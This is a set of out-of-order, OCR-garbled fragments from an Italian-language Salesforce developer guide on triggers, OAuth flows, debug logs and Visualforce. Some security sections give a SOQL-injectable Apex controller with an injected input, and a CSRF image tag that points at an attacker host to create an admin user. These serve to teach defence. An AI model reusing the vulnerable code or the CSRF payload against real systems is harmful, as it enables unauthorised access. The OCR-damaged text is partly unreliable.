245. enti informazioni Il nome del trigger Il nome dell oggetto a cui il trigger associato ad esempio Account o Caso La versione API in cui il trigger stato salvato Se un trigger valido o meno O Nota i trigger vengono memorizzati con un flag IsValid che rimane impostato su true finch i metadati dipendenti non cambiano rispetto all ultima compilazione del trigger Se vengono apportate modifiche ai nomi o ai campi di oggetti utilizzati nel trigger comprese variazioni superficiali come quelle apportate alla descrizione di un oggetto o di un campo il flag isValid impostato su false fino a quando il compilatore Apex non rielabora il codice La ricompilazione viene effettuata alla successiva esecuzione del trigger o quando un utente salva nuovamente il trigger nei metadati Se un campo di ricerca fa riferimento a un record eliminato Salesforce cancella il valore del campo di ricerca per impostazione predefinita In alternativa possibile decidere di impedire l eliminazione dei record se si trovano in una relazione di ricerca Se il trigger attivo o meno Il testo dell Apex code contenuto nel trigger Se un trigger fa riferimento a componenti nei pacchetti gestiti installati quali una classe Apex una pagina Visualforce un oggetto personalizzato e cos via nella sezione delle impostazioni della versione vengono visualizzate le versioni dei pacchetti che contengono i componenti cui si fa riferimento Ottimizzazione di Sales
246. enti modi Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 235 Parametro Versione PrettyPrint Callback Descrizione e Accept application json e Accept application xml e Accept application x www form urlencoded Tenere presente quanto segue e Le intestazioni di accettazione contenenti caratteri jolly sono consentite viene accettato e restituisce JSON e Vengono accettati anche gli elenchi di valori che vengono letti da sinistra a destra Ad esempio application xml application json application html restituisce XML e Ilparametro format hala precedenza sull intestazione dell accettazione della richiesta Questo parametro facoltativo Specificare un numero di versione API SOAP oppure la stringa letterale latest Se questo valore non viene specificato l URL API restituito conterr il valore letterale version invece del numero di versione in modo che il client possa effettuare la sostituzione della stringa Se il valore viene specificato come latest viene utilizzata la versione API pi recente Questo parametro facoltativo e viene accettato solo in un intestazione non come parametro URL Specificare l output a cui applicare questa formattazione ottimizzata Ad esempio in un intestazione utilizzare quanto segue X PrettyPrint 1 Se questo valore non viene specificato gli XML o JSON restituiti vengono ottimizzati in base alle dimensioni invece
247. ento Campi o informazioni registrate con l evento Categoria Livello registrata registrato BULK HEAP ALLOCATE umero di byte allocati Apex Code FINEST CALLOUT REQUEST umero di riga e intestazioni richiesta Callout INFO e superiori CALLOUT_ RESPONSE umero di riga e corpo della risposta Callout INFO e superiori CODE UNIT FINISHED essuno Apex Code ERROR e superiori CODE_UNIT_ STARTED umero di riga e nome unit codice quale Apex Code ERROR e MyTrigger on Account trigger event superiori BeforeInsert for new Ottimizzazione di Salesforce con il codice Guida dell utente Registri debug 284 Nome dell evento Campi o informazioni registrate con l evento Categoria Livello registrata registrato CONSTRUCTOR_ENTRY umero di riga ID classe Apex e la stringa Apex Code FINE e lt init gt conitipi di parametri se esistono tra superiori e parentesi CONSTRUCTOR EXIT umero di riga e la stringa lt init gt conitipidi ApexCode FINE e parametri se esistono tra le parentesi superiori CUMULATIVE LIMIT USAGE essuno Apex INFO e Profiling superiori CUMULATIVE LIMIT USAGE END essuno Apex INFO e Profiling superiori CUMULATIVE PROFILING essuno Apex FINE e Profiling superiori CUMULATIVE PROFILING BEGIN essuno Apex FINE e Profiling superiori CUMULATIVE PROFILING END essuno Apex FINE e Profiling superiori DML BEGIN umero di riga o
248. er public String name get return name set name value public PageReference query String qryString SELECT Id FROM Contact WHERE IsDeleted false and Name like name queryResult Database query qryString return null un esempio molto semplice ma che illustra la logica Il codice destinato a ricercare referenti che non sono stati eliminati L utente fornisce un valore di input denominato name Il valore pu essere un qualsiasi elemento fornito dall utente e non viene mai convalidato La query SOQL viene creata in modo dinamico e quindi eseguita con il metodo Database query Se l utente ha fornito un valore autentico l istruzione viene eseguita come previsto User supplied value name Bob Query string SELECT Id FROM Contact WHERE IsDeleted false and Name like amp Bob Tuttavia l utente potrebbe fornire un input inatteso ad esempio Gi User supplied value for name test OR Name LIK In tal caso la stringa di query diventa SELECT Id FROM Contact WHERE IsDeleted false AND Name LIKE stest OR Name LIKE 3 Ora i risultati mostrano tutti i referenti non solo quelli non eliminati Una vulnerabilit alla SOQL injection pu essere utilizzata per modificare la logica prevista di qualsiasi query vulnerabile Difese dalla SOQL injection Per preven
249. er ogni classe della propria organizzazione Il riquadro riporta sempre la percentuale corrente di ogni classe Durante l esecuzione del test di tutte le classi il riquadro visualizza in grassetto anche la percentuale a livello dell intera organizzazione Per ulteriori informazioni vedere Verifica della copertura codice Per ulteriori informazioni sui test consultare la sezione Testing nel manuale Force com Apex Code Developer s Guide VEDERE ANCHE Creazione di una serie di test Verifica della copertura codice Verifica della copertura codice La Console sviluppatore recupera e visualizza i dati della copertura di codice della propria organizzazione risultati della copertura di codice provengono da qualsiasi test eseguito da un API o da un interfaccia utente ad esempio la Console sviluppatore IDE Force com o la pagina Test Execution Apex Esecuzione test Apex Per cancellare i risultati correnti fare clic su Test gt Clear Test Data Cancella dati del test Quando si modifica una classe la copertura di codice per quella data classe viene rimossa e rimane indefinita finch non si eseguono nuovamente dei test possibile visualizzare la copertura di codice in diversi punti della Console sviluppatore e La scheda Tests Test include un riquadro Overall Code Coverage Copertura codice totale che visualizza la percentuale di copertura per ogni classe Apex dell organizzazione inclusa in una serie di test Viene indicata anche la
250. ere dei dati Salesforce 1 Il consumatore effettua una richiesta HTTPS POST a https login salesforce com con i parametri richiesti nell intes azione dell autorizzazione oauth consumer key oauth_ token oauth signature method oauth signature oauth _timestamp oautn nonce oauth_ version facoltativo deve essere 1 0 se inclusa Salesforce convalida la richiesta e invia un ID sessione valido al consumatore Accesso ai dati Salesforce utilizzando l API Quando il consumatore in possesso di un token di accesso valido un applicazione connessa pu richiedere di accedere ai dati Salesforce utilizzando l API servizi Web Force com O Nota necessario che l organizzazione abbia accesso sia all API che all applicazione connessa Per ulteriori informazioni contattare il proprio rappresentante Salesforce Le fasi descritte di seguito contengono istruzioni pi dettagliate sull accesso ai dati per gli sviluppatori che utilizzano un applicazione connessa per richiedere dei dati Salesforce 1 Il consumatore effettua una richiesta HTTPS POST a Salesforce L URL deve presentare il seguente formato https login salesforce com services OAuth type api version type deve avere uno dei seguenti valori u WSDL partner c WSDL Enterprise api version deve essere una versione API valida L intestazione dell autorizzazione deve contenere i seguenti parametri oau oau oau oau oau oau
251. ere installate in tutte le versioni da Imposta immettere Utilizzo OAuth applicazioni connesse nellacasella Ricerca veloce quindi selezionare Utilizzo OAuth applicazioni connesse Viene visualizzato un elenco di applicazioni connesse con le relative informazioni Applicazione connessa Il nome dell applicazione Le applicazioni connesse installate ma non ancora utilizzate dagli utenti non appaiono nell elenco Visualizza informazioni sull applicazione Fare clic su Visualizza informazioni sull applicazione per passare alla pagina dei dettagli dell applicazione connessa In alternativa se l applicazione connessa non ancora installata fare clic su Installa Conteggio utenti Il numero di utenti che hanno eseguito l applicazione Fare clic su un valore Conteggio utenti per visualizzare le informazioni relative a ciascun utente tra cui e Quando hanno utilizzato l applicazione per la prima volta e L ultima volta in cui hanno utilizzato l applicazione e Il numero totale di volte in cui hanno utilizzato l applicazione Nella pagina Utilizzo dell utente delle applicazioni connesse possibile terminare l accesso di un utente alla sessione corrente facendo clic sull azione Revoca sulla riga di tale persona Oppure fare clic sul pulsante Revoca tutto nella parte superiore della pagina per disconnettere chiunque stia utilizzando l applicazione connessa Azione Fare clic su Blocca per terminare tutte le sessioni utente in corso con l a
252. esforce 183 1 Dalmposta immettere Applicazioni connesse nellacasella Ricerca veloce quindi selezionare l opzione di gestione delle applicazioni connesse 2 Fareclic su Modifica accanto al nome dell applicazione da modificare per esaminare le informazioni relative a un applicazione nella pagina dei dettagli delle applicazioni connesse fare clic sul nome dell applicazione e seguenti criteri OAuth sono disponibili per ogni applicazione connessa abilitata per OAuth Utenti con autorizzazioni determina quali utenti possono eseguire l applicazione Tutti gli utenti possono autorizzarsi autonomamente impostazione predefinita Chiunque nell organizzazione pu autorizzare autonomamente l applicazione Questa impostazione significa che ogni utente deve approvare l applicazione la prima volta che vi accede Gli utenti approvati dall amministratore sono pre autorizzati L accesso limitato agli utenti con un profilo o un insieme di autorizzazioni specificato ma per tali utenti non necessario approvare l applicazione per potervi accedere Nella versione Group Fdition questa impostazione impedisce l accesso all applicazione per tutti gli utenti Per gestire i profili per l applicazione modificare l elenco Accesso applicazione connessa di ogni profilo tranne che nella versione Group Edition Per gestire gli insiemi di autorizzazioni per l applicazione modificare l elenco delle applicazioni connesse assegnate di ogni insieme di autorizzazi
253. esforce 211 volta elabora il JWT ed emette un access_token basato su una precedente approvazione dell applicazione Tuttavia il client non deve necessariamente avere o archiviare un refresh token n richiestoun client secret da trasmettere all endpoint del token Il flusso bearer JWT supporta l algoritmo RSA SHA256 che utilizza un certificato caricato come segreto per la firma Il flusso token bearer JWT OAuth 2 0 prevede la seguente procedura 1 Lo sviluppatore crea una nuova applicazione connessa o ne utilizza una gi esistente e se necessario registra un certificato X509 che corrisponde alla chiave privata dell applicazione Quando l applicazione connessa viene salvata la chiave consumatore client _id OAuth e il segreto consumatore vengono generati e assegnati all applicazione Lo sviluppatore scrive un applicazione che genera un JWT e la firma con il proprio certificato Il JWT viene inviato mediante il metodo POST all endpoint del token https login salesforce com services oauth2 token 0 in caso di implementazione per una comunit https acme force com customers services oauth2 token dove acme force com customers l URL della comunit L endpoint del token convalida la firma utilizzando il certificato registrato dallo sviluppatore L endpoint del token convalida il pubblico aud l emittente iss la validit exp e l oggetto sub del JWT Supponendo che il JWT sia valido e che l applicazione sia stata prece
254. esforce e di Visualforce per una pagina o un componente Visualforce personalizzato Visualforce e Personalizza P l rai applicazione 1 Modificare una pagina o un componente Visualforce e fare clic su Impostazioni versione pp Nota le impostazioni della versione di una pagina o di un componente personalizzato si possono modificare nella scheda Impostazioni versione solo quando si modifica la pagina o il componente in Imposta 2 Selezionare la Versione dell API Salesforce che corrisponde anche alla versione di Visualforce utilizzata con la pagina o il componente 3 Fare clic su Salva Per configurare le impostazioni della versione del pacchetto per una pagina o un componente personalizzato Visualforce 1 Modificare una pagina o un componente Visualforce e fare clic su Impostazioni versione 2 Selezionare una Versione perogni pacchetto gestito a cui fa riferimento la pagina o il componente Visualforce Questa versione del pacchetto gestito continuer a essere utilizzata dalla pagina o dal componente anche qualora ne vengano installate versioni successive a meno che non si aggiorni manualmente l impostazione di versione Per aggiungere un pacchetto gestito installato all elenco delle impostazioni selezionarlo dall elenco dei pacchetti disponibili L elenco viene visualizzato solo se installato un pacchetto gestito che non sia gi associato alla pagina o al componente 3 Fare clic su Salva prestare attenzione ai seguenti pu
255. esto modo il mittente non verr informato quando i servizi di email non sono in grado di elaborare un messaggio email in entrata 13 Fare clic su Salva per salvare le modifiche oppure su Salva e Nuovo indirizzo email per creare indirizzi email per questo servizio di email come descritto in Definizione degli indirizzi di servizi di email a pagina 108 VEDERE ANCHE Definizione degli indirizzi di servizi di email Definizione di servizi di email Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 112 Utilizzo dell oggetto InboundEmail Per ogni messaggio email ricevuto dal dominio del servizio di email Apex Salesforce crea un oggetto EDIZIONI InboundEmail separato che include i contenuti e gli allegati di quel messaggio email possibile utilizzare le classi Apex che implementano l interfaccia Messaging InboundEmailHandler Disponibile nelle versioni per gestire il messaggio email in entrata Utilizzando il metodo handleInboundEmail in Salesforce Classic questa classe possibile accedere a un oggetto InboundEmail per recuperare i contenuti le intestazioni e gli allegati dei messaggi email in entrata oltre ad eseguire numerose funzioni Disponibile nelle versioni Enterprise Edition O Nota per informazioni sul servizio di email Apex vedere Definizione di servizi di email a Performance Edition pagina 107 Unlimited Edition e Developer Edition Esempio 1 Creazio
256. ettere un token OAuth con le richieste per le quali il token necessario Modelli di link azioni Creare modelli di link azioni in Imposta in modo da poter istanziare i gruppi di link azioni con propriet comuni dall API REST Chatter o Apex possibile inserirli nei pacchetti e distribuirli ad altre organizzazioni Salesforce Un link azioni un pulsante su un elemento feed Facendo clic su un link azioni si pu accedere a una pagina Web avviare il download di un file o richiamare una chiamata API a Salesforce o a un server esterno Un link azioni include un URL e un metodo HTTP e pu includere il corpo di una richiesta e le informazioni di intestazione ad esempio un token OAuth per l autenticazione Utilizzare i link azioni per integrare i servizi di Salesforce e di terze parti nel feed in modo che gli utenti possano intraprendere azioni per aumentare la produttivit e accelerare l innovazione In questo esempio Approva e Rifiuta sono link azioni che eseguono chiamate API all API REST di ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni tutte le versioni tranne Personal Edition un sito Web di viaggi virtuali per approvare o rifiutare un itinerario Quando Pam ha creato l itinerario sul sito Web di viaggi questo ha eseguito una richiesta API REST Chatter per l invio dell elemento del feed con i link azioni a Kevin il responsabile di Pam per consentirgli di approva
257. ex non utilizza SQL ma il proprio linguaggio per l interrogazione del database SOQL SOQL molto pi semplice e ha funzionalit molto pi limitate rispetto a SOL Pertanto i rischi di SOQL injection sono inferiori ai rischi di SQL injection ma gli attacchi sono pressoch identici alla SQL injection tradizionale In breve con la SQL SOQL injection vengono presi gli input forniti dall utente e i relativi valori utilizzati in una query SOQL dinamica Se l input non convalidato pu includere comandi SOQL che modificano effettivamente l istruzione e ingannano l applicazione facendole eseguire comandi non desiderati Per ulteriori informazioni sugli attacchi di SQL injection vedere http Awww owasp org index php SQL_injection http www owasp org index php Blind_SQL_Injection http Awww owasp org index php Guide_to_SQL_Injection http Awww google com search q sql injection Vulnerabilit agli attacchi di SOQL injection in Apex Di seguito riportato un semplice esempio di codice Apex e Visualforce vulnerabile alla SOQL injection lt apex page controller SOQOLController gt lt apex form gt lt apex outputText value Enter Name gt lt apex inputText value name gt lt apex commandButton value Query action query gt lt apex form gt lt apex page gt Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 105 public class SOQLControll
258. faccia di servizi Web SOAP efficace pratica e semplice per l interazione con Salesforce Per creare recuperare aggiornare o eliminare record possibile utilizzare l API SOAP inoltre possibile utilizzare l API SOAP per eseguire ricerche e molto altro L API SOAP si pu utilizzare in tutte le lingue che supportano i servizi Web Ad esempio possibile utilizzare l API SOAP per integrare Salesforce con i sistemi ERP e finanziari dell organizzazione Inoltre possibile fornire informazioni in tempo reale su vendita e assistenza ai portali della societ e popolare i sistemi aziendali critici con le informazioni sui clienti Quando utilizzare l API REST Chatter Utilizzare l API REST Chatter per visualizzare i dati di Salesforce in particolare nelle applicazioni mobili Le risposte dell API REST Chatter sono localizzate e strutturate per la presentazione possibile filtrare le risposte in modo che contengano soltanto i dati necessari all app Oltre ai feed Chatter agli utenti ai gruppi e agli utenti che seguono l API REST Chatter consente di accedere a livello di programmazione a file consigli argomenti notifiche acquisti Data com ecc L API REST Chatter simile alle API con feed offerte da altre societ ad esempio Facebook e Twitter ma offre anche funzionalit Salesforce oltre a Chatter Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 141 Quando utilizzare l API in blocco
259. ficare ed eliminare le applicazioni OAuth e Il token di accesso per un utente che ha accesso all altro utente in base alle regole di e Gestisci applicazioni Condivisione utenti dell organizzazione connesse e Il token di accesso per un utente che dispone dell autorizzazione API abilitata e l token di accesso per un utente interno in altre parole il valore user type nella risposta STANDARD In caso contrario viene richiesto il token di accesso di ciascun utente per visualizzare l URL identit li formato dell URL https login salesforce com id orgID userID incui orgia l ID dell organizzazione Salesforce a cui l utente appartiene e userID l ID dell utente Salesforce O Nota PeriSandbox login salesforce com viene sostituito da test salesforce com L URL deve sempre essere HTTPS Parametri di URL identit seguenti parametri possono essere utilizzati con il token di accesso e l URL identit Il token di accesso si pu utilizzare nell intestazione di una richiesta di autorizzazione oppure in una richiesta con il parametro vauth_token Parametro Descrizione Token di accesso Vedere Utilizzo del token di accesso a pagina 233 Formato Questo parametro facoltativo Specificare il formato dell output restituito valori validi sono e json e xml Invece di utilizzare il parametro format il client pu anche specificare il formato restituito nell intestazione di un accettazione richiesta in uno dei segu
260. fiche vengono sovrascritte Copiare la propria versione della visualizzazione sorgente per mantenerla quindi procedere all aggiornamento all ultima versione e integrare le proprie modifiche VEDERE ANCHE Panoramica sull interfaccia utente Console sviluppatore Verifica della copertura codice Impostazione dei checkpoint in Apex Code Menu File Object Inspector Controllo oggetti L Object Inspector Controllo oggetti fornisce un riferimento di sola lettura per i campi di un oggetto standard o personalizzato e i relativi tipi di dati Per aprire l Object Inspector Controllo oggetti fare clic su File gt Open Apri e selezionare l oggetto da visualizzare Per cercare oggetti che soddisfano determinati criteri utilizzare Query Editor Editor di query Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 20 accountFeed gt Name Apex Type Id Id Parentid Id Type String CreatedById Id CreatedDate Datetime Isbeleted Boolean LastModifiedDate Datetime SystemModstamp Datetime CommentCount Integer LikeCount Integer Title String Body String Linkuri String RelatedRecordid Id ContentData Blob n ContentFileName String ContentDescription String ContentTune Strina Si Query O Nota non consentito modificare gli oggetti personalizzati nella Console sviluppatore Creare modificare ed eliminare oggetti personalizzati da Imposta VEDERE AN
261. figurata per le notifiche push Deselezionare Messaggi push abilitati Salvare l applicazione connessa e fare clic su Modifica odificare la Piattaforma app e i valori associati nelle Impostazioni mobili in modo da rispecchiare la nuova piattaforma Riconfigurare le notifiche push per la nuova piattaforma Impostazioni app Area di disegno Sono disponibili due tipi di app Area di disegno App Area di disegno che vengono installate dall amministratore dell organizzazione App Area di disegno personali che vengono installate dagli utenti finali in tutte le organizzazioni Gli utenti accedono a un app Area di disegno personale dalla scheda Chatter e vengono invitati a consentire all app di connettersi ai loro dati Salesforce Questa procedura include se si desidera la trasformazione di un applicazione in un app Area di disegno personale Per ulteriori informazioni vedere App Area di disegno personali nel manuale Force com Canvas Developer s Guide Se si prevede di esporre l applicazione connessa come applicazione area di disegno selezionare Area di disegno Force com Digitare l URL app area di disegno all applicazione di terze parti L utente viene indirizzato a questo URL quando fa clic sul link dell applicazione area di disegno Selezionare un Metodo di accesso Questo specifica in che modo l applicazione area di disegno avvia il flusso di autenticazione OAuth e Richiesta firmata POST viene utilizzata l autenticazione OAuth
262. fm0E6zMHg6y8PIN4eWze 9U5KsNEKWUl Cju7m4 lt access_token gt lt token type gt Bearer lt token_ type gt lt scope gt id api refresh token lt scope gt lt instance url gt https nal salesforce com lt instance url gt lt id gt https login salesforce com id 00Dx0000000BV7z 005x0000001209P lt id gt lt issued at gt 1278448101416 lt issued at gt Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 217 lt signature gt CMJ41 CCaP0iKj00EwEig9H4wqhpuLSk4J2urAe fVg lt signature gt lt Oauth gt Di seguito riportato un esempio di codifica URL access _token 00Dx0000000BV7z 21AR8AOP0 ITN80ESEs 5EbaZTFGORNBaT1cyWk7TrqoDjoNIW02 ME sTZzBjfm0E6zMHq6y8PINW4eWze9UksNEKWUl Cju7m4 amp token type Bearer amp scope id3s20api 20refresh token amp instance url https53A52F 2Fnal salesforce com amp id https 3A32F 2Flogin salesforce coms2Fid 2F00Dx0000000BV7z32F005x0000001209P amp issued at 1278448101416 amp signature CMJ41 2BCCaP0iKj00EwEig9H4wghpuLSk4J2urAes2BfVg 3D Se in questa fase viene riscontrato un problema la risposta contiene un messaggio di errore composto dalle seguenti parti e errori il codice di errore e error descriptionila descrizione dell errore con ulteriori informazioni unsupported response type tipo di risposta non supportato invalid client id identificatore client non valido inval
263. fondo al riquadro Query Editor Editor di query I risultati vengono visualizzati nella griglia Query Results Risultati della query nell area di lavoro della Console sviluppatore 4 Avvertenza se si esegue nuovamente una query le modifiche non salvate nella griglia Query Results Risultati della query vanno perse Per eseguire di nuovo una query fare clic su Refresh Grid Aggiorna griglia oppure fare clic sulla query nel riquadro della cronologia e scegliere Execute Esegui Ottimizzazione di Salesforce con il codice Guida dell utente Console sviluppatore 13 Per informazioni sulla sintassi di query e ricerca consultare la guida Force com SOQL and SOSL Reference VEDERE ANCHE Query Editor Recupero dei piani di esecuzione delle query Griglia Query Results Risultati della query Recupero dei piani di esecuzione delle query Utilizzare lo strumento Query Plan Piano di esecuzione delle query per ottimizzare e velocizzare le query eseguite su un numero elevato di record Visualizzare i piani di esecuzione delle query per le query SOQL le ricerche SOSL i rapporti e le visualizzazioni elenco Se per l organizzazione sono disponibili indici personalizzati utilizzare i piani di esecuzione delle query per decidere quando richiedere un indice personalizzato all assistenza Salesforce Per abilitare il pulsante Query Plan Piano di esecuzione delle query in Query Editor Editor di query fare clic su Help gt Preferences Guida P
264. force Disponibile nelle versioni Salesforce Classic e Nota oltre a creare modelli di link azioni in Imposta possibile anche utilizzare l API dei metadati l API SOAP e l API REST per creare modelli di link azioni Lightning Experience lcampi URL azione Corpo richiesta HTTP e Intestazioni HTTP supportano Disponibile in tutte le le variabili di binding e le variabili di contesto Definire le variabili di binding in un modello e impostare VASIONI tranne Personal i relativi valori quando si istanzia il gruppo dei link azioni Utilizzare le variabili di contesto in un Edition modello e quando viene eseguito un link azioni Salesforce compila il valore e lo restituisce nella richiesta Per informazioni su come utilizzare queste variabili in un modello vedere Progettazione AUTORIZZAZIONI di modelli di link azioni UTENTE 1 Dalmposta i mmettere Modelli di link azioni nellacasella Ricerca veloce delli di quindi selezionare Modelli di link azioni Per Aee MOSE Eppa dei link azioni 2 Fare clic su Nuovo e Personalizza 3 Immettere il Nome del modello Il nome viene visualizzato nell elenco dei modelli di gruppo applicazione dei link azioni Per creare modelli di link Lui o sul a CE azioni Questo l unico valore del modello di gruppo dei link azioni che possibile modificare dopo n f pn Kaa e Personalizza che stato pubblicato il modello di gruppo dei link azioni E applicazione 4 Immettere
265. force con il codice Guida dell utente Componenti Apex Visualforce e Lightning 62 e Seiltrigger contenuto in un pacchetto gestito installato Pacchetto installato indica il nome del pacchetto La scheda Filtri del registro visualizza le categorie del registro debug e i livelli del registro debug che possono essere impostati per il trigger Per maggiori informazioni vedere Applicazione di filtri al registro debug per classi Apex e trigger Apex a pagina 294 Creazione di una classe Apex da un WSDL Una classe Apex pu essere generata automaticamente da un documento WSDL memorizzato su un disco rigido locale o in rete La creazione di una classe mediante un documento WSDL consente agli sviluppatori di effettuare delle chiamate al servizio Web esterno nel proprio Apex Nota ove possibile utilizzare i messaggi in uscita per gestire le soluzioni di integrazione Utilizzare le chiamate ai servizi Web di terze parti solo se necessario Per accedere a questa funzionalit 1 Nell applicazione da Imposta immettere Classi Apex nellacasella Ricerca veloce quindi selezionare Classi Apex 2 Fareclic su Genera da WSDL 3 Fare clic su Sfoglia per individuare un documento WSDL sul disco rigido locale o in rete oppure digitarne il percorso completo Questo documento WSDL costituisce la base per la classe Apex da creare O Nota il documento WSDL specificato pu contenere una posizione endpoint SOAP che fa riferimento a una porta in uscita
266. funzionalit API dei metadati utilizzare IDE Force com o lo Strumento di migrazione Force com Entrambi gli strumenti basati sull API dei metadati utilizzano rispettivamente i tool Eclipse e Ant standard per semplificare l utilizzo dell API dei metadati stessa e La funzionalit IDE Force com stata creata sulla piattaforma Eclipse per programmatori che hanno dimestichezza con gli ambienti di sviluppo integrati Codifica compilazione test e distribuzione avvengono all interno dell IDE e Lo Strumento di migrazione Force com l ideale se si utilizza uno script o la riga di comando per spostare i metadati tra una directory locale e un organizzazione Salesforce Quando utilizzare Streaming API tilizzare Streaming API per ricevere notifiche in caso di modifiche ai dati che soddisfano una query SOQL definita dall utente U Streaming API utile quando si desidera inviare le notifiche dal server al client Considerare l utilizzo di Streaming API per le applicazioni che eseguono frequentemente interrogazioni Le applicazioni che eseguono costantemente interrogazioni nell infrastruttura Salesforce utilizzano una quantit eccessiva di chiamate API e tempo di elaborazione Streaming API riduce il numero di richieste che non restituiscono dati ed utile anche per le applicazioni che richiedono una notifica generale delle modifiche ai dati S reaming API consente di ridurre il numero di chiamate API e di migliorare le prestazioni Quando
267. ger Apex Per salvare le modifiche alle pagine e ai componenti Visualforce Per salvare le modifiche delle risorse Lightning Un registro debug pu registrare le operazioni del database i processi di sistema e gli errori che si Visualizza tutti i dati Apex autore API abilitata Apex autore Personalizza applicazione Personalizza applicazione Guida dell utente Registri debug 277 ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Performance Edition Unlimited Edition Developer Edition Enterprise Edition e Database com Edition L interfaccia utente i Servizi di email e le Approvazioni di Salesforce non sono disponibili in Database com verificano quando si esegue una transazione o durante l esecuzione di test di unit registri debug possono contenere informazioni relative a e Modifiche al database e Chiamate HTTP e Errori Apex e Risorse utilizzate da Apex e Processi di lavoro automatici quali Regole di flusso di lavoro Regole di assegnazione Processi di approvazione Regole di convalida Il sistema genera un registro debug ogni volta che viene eseguita una transazione inclusa nei criteri di filtro definiti Le transazioni possono essere generate da e Interfaccia utente di Salesforce e API e Chiamate executeanonymous e Servizi Web e Servizi di email criteri di filtro impostati per l u
268. gerlo a una pagina Visualforce e visualizzare la pagina VEDERE ANCHE Definizione di componente personalizzato ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition INCI O NPZZAVA O N UTENTE Per clonare modificare eliminare o impostare le versioni per i componenti personalizzati e Personalizza applicazione Ottimizzazione di Salesforce con il codice Gestione dei componenti personalizzati Visualforce Dopo avere creato componenti personalizzati possibile visualizzarli modificarli ed eliminarli Da Imposta immettere Componenti nella casella Ricerca veloce quindi selezionare Componenti Visualforce per visualizzare la pagina elenco Componenti contenente l elenco dei componenti personalizzati definiti per l organizzazione Da questa pagina possibile e Fare clic su Nuovo per definire un nuovo componente personalizzato e Fare clic sul nome di un componente personalizzato per visualizzare informazioni dettagliate sul componente e Fare clic su Modifica per modificare il nome o il markup di un componente O Nota Un icona indica che un pacchetto gestito installato contiene un componente personalizzato Visualforce Non possibile modificare o eliminare un componente personalizzato Visualforc
269. gi di livello superiore Sebbene questi tipi di attacchi possano essere eseguiti dagli utenti all interno della stessa organizzazione indeboliscono i ruoli degli utenti dell organizzazione e riducono l integrit dei record di controllo Inoltre molte organizzazioni contengono dati importati da fonti esterne che potrebbero non essere stati filtrati per l individuazione di contenuti dannosi Cross Site Request Forgery CSRF Le vulnerabilit di Cross Site Request Forgery CSRF non sono tanto errori di programmazione quanto carenze di protezione Il modo pi rapido per descrivere il CSRF consiste nel fornire un semplice esempio L autore di un attacco possiede una pagina Web all indirizzo www attacker com Pu essere una qualsiasi pagina Web anche quelle che forniscono servizi importanti o informazioni che dirigono il traffico verso quel sito In qualche punto della pagina dell autore dell attacco presente un tag HTML del tipo lt img src http www yourwebpage com yourapplication createuser email attacker attacker com amp type admin i height 1 width 1 gt In altre parole la pagina dell autore dell attacco contiene un URL che esegue un azione sul sito Web dell utente Se l utente ancora collegato alla pagina Web quando visita la pagina Web dell autore dell attacco l URL viene recuperato e le azioni vengono eseguite Questo attacco viene portato a termine con successo perch l utente ancora autenticato nella pagina Web Q
270. globale Request consente S Control o pulsante personalizzato kin nell S Control per recuperare il te selezionato dall organizzazione unione rappresenta il ema Salesforce Classic mentre The valore Theme1 di questo campo me2 rappresenta il tema Salesforce Gli S Control utilizzano i caratteri e in precedenza usati per circondare i campi unione nelle formule per racchiudere un espressione che pu includere uno o pi campi unione funzioni o variabili globali Quando si ignora un azione utilizzare l argomento no override perevitare una ricorsione indicata da frame vuoti sulla pagina Per inserire campi di unione attivit selezionare Evento oppure Operazione da Seleziona tipo di campo VEDERE ANCHE Attributi dei Custom S Control Definizione dei Custom S Control Lightning 128 ID PA 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ANOLON TAAA ON UTENTE Per creare modificare ed eliminare Custom S Control e Personalizza applicazione Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e S Control utili O Importante Le pagine Visualforce sostituiscono gli S Control Le organizzazioni che non hanno mai utilizzato gli S Control non li possono creare Gli S C
271. gratuite fornite da Salesforce a supporto Performance Edition dei propri utenti e partner ma non sono considerati parte dei Servizi ai fini dell Accordo Unlimited Edition Quadro di Sottoscrizione di Salesforce Developer Edition Enterprise Edition e 1 Dalleimpostazioni di gestione dell oggetto per il quale si desidera accedere ai trigger accedere N p 9 APERTA 99 Database com Edition a Trigger Oggetti standard Q Suggerimento Per gli oggetti standard Allegato Documento contenuto e Nota non Campagne Casi ed Email possibile creare trigger nell interfaccia utente Salesforce Per questi oggetti i trigger si non sono disponibili nella possono creare tramite strumenti di sviluppo quali la Console sviluppatore o l IDE versione Database com Force com In alternativa si pu utilizzare anche l API dei metadati Edition 2 Nell elenco Trigger fare clic su Nuovo 3 Fare clic su Impostazioni versione per specificare la versione di Apex e l API utilizzata con questo AUTORIZZAZIONI trigger Se l organizzazione ha installato pacchetti gestiti da AppExchange possibile specificare UTENTE anche quale versione di ciascun pacchetto utilizzare con questo trigger Utilizzare i valori predefiniti per tutte le versioni In questo modo il trigger viene associato alla versione pi recente di Apex dell API e di ciascun pacchetto gestito possibile specificare una versione precedente di un pacchetto gestito se si desidera accedere a funzionalit
